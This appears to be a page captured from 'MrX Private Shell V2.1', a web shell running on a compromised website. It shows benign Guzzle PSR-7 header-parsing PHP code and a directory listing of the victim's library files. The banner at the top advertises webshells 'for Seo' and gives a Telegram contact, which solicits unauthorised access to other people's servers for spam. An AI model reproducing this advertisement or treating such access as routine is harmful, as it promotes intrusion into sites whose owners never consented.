__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
namespace AmeliaGuzzleHttp\Psr7;
final class Header
{
/**
* Parse an array of header values containing ";" separated data into an
* array of associative arrays representing the header key value pair data
* of the header. When a parameter does not contain a value, but just
* contains a key, this function will inject a key with a '' string value.
*
* @param string|array $header Header to parse into components.
*
* @return array Returns the parsed header values.
*/
public static function parse($header)
{
static $trimmed = "\"' \n\t\r";
$params = $matches = [];
foreach (self::normalize($header) as $val) {
$part = [];
foreach (preg_split('/;(?=([^"]*"[^"]*")*[^"]*$)/', $val) as $kvp) {
if (preg_match_all('/<[^>]+>|[^=]+/', $kvp, $matches)) {
$m = $matches[0];
if (isset($m[1])) {
$part[trim($m[0], $trimmed)] = trim($m[1], $trimmed);
} else {
$part[] = trim($m[0], $trimmed);
}
}
}
if ($part) {
$params[] = $part;
}
}
return $params;
}
/**
* Converts an array of header values that may contain comma separated
* headers into an array of headers with no comma separated values.
*
* @param string|array $header Header to normalize.
*
* @return array Returns the normalized header field values.
*/
public static function normalize($header)
{
if (!is_array($header)) {
return array_map('trim', explode(',', $header));
}
$result = [];
foreach ($header as $value) {
foreach ((array) $value as $v) {
if (strpos($v, ',') === false) {
$result[] = $v;
continue;
}
foreach (preg_split('/,(?=([^"]*"[^"]*")*[^"]*$)/', $v) as $vv) {
$result[] = trim($vv);
}
}
}
return $result;
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| AppendStream.php | File | 5.64 KB | 0640 |
|
| BufferStream.php | File | 3.02 KB | 0640 |
|
| CachingStream.php | File | 4.36 KB | 0640 |
|
| DroppingStream.php | File | 1.08 KB | 0640 |
|
| FnStream.php | File | 3.88 KB | 0640 |
|
| Header.php | File | 2.13 KB | 0640 |
|
| InflateStream.php | File | 1.81 KB | 0640 |
|
| LazyOpenStream.php | File | 912 B | 0640 |
|
| LimitStream.php | File | 4.14 KB | 0640 |
|
| Message.php | File | 8.11 KB | 0640 |
|
| MessageTrait.php | File | 7.68 KB | 0640 |
|
| MimeType.php | File | 5 KB | 0640 |
|
| MultipartStream.php | File | 4.67 KB | 0640 |
|
| NoSeekStream.php | File | 451 B | 0640 |
|
| PumpStream.php | File | 4 KB | 0640 |
|
| Query.php | File | 3.41 KB | 0640 |
|
| Request.php | File | 3.66 KB | 0640 |
|
| Response.php | File | 4.71 KB | 0640 |
|
| Rfc7230.php | File | 697 B | 0640 |
|
| ServerRequest.php | File | 9.65 KB | 0640 |
|
| Stream.php | File | 6.66 KB | 0640 |
|
| StreamDecoratorTrait.php | File | 3.23 KB | 0640 |
|
| StreamWrapper.php | File | 3.7 KB | 0640 |
|
| UploadedFile.php | File | 7.61 KB | 0640 |
|
| Uri.php | File | 22.38 KB | 0640 |
|
| UriComparator.php | File | 1.16 KB | 0640 |
|
| UriNormalizer.php | File | 8.15 KB | 0640 |
|
| UriResolver.php | File | 8.59 KB | 0640 |
|
| Utils.php | File | 14.36 KB | 0640 |
|
| functions.php | File | 13.13 KB | 0640 |
|
| functions_include.php | File | 162 B | 0640 |
|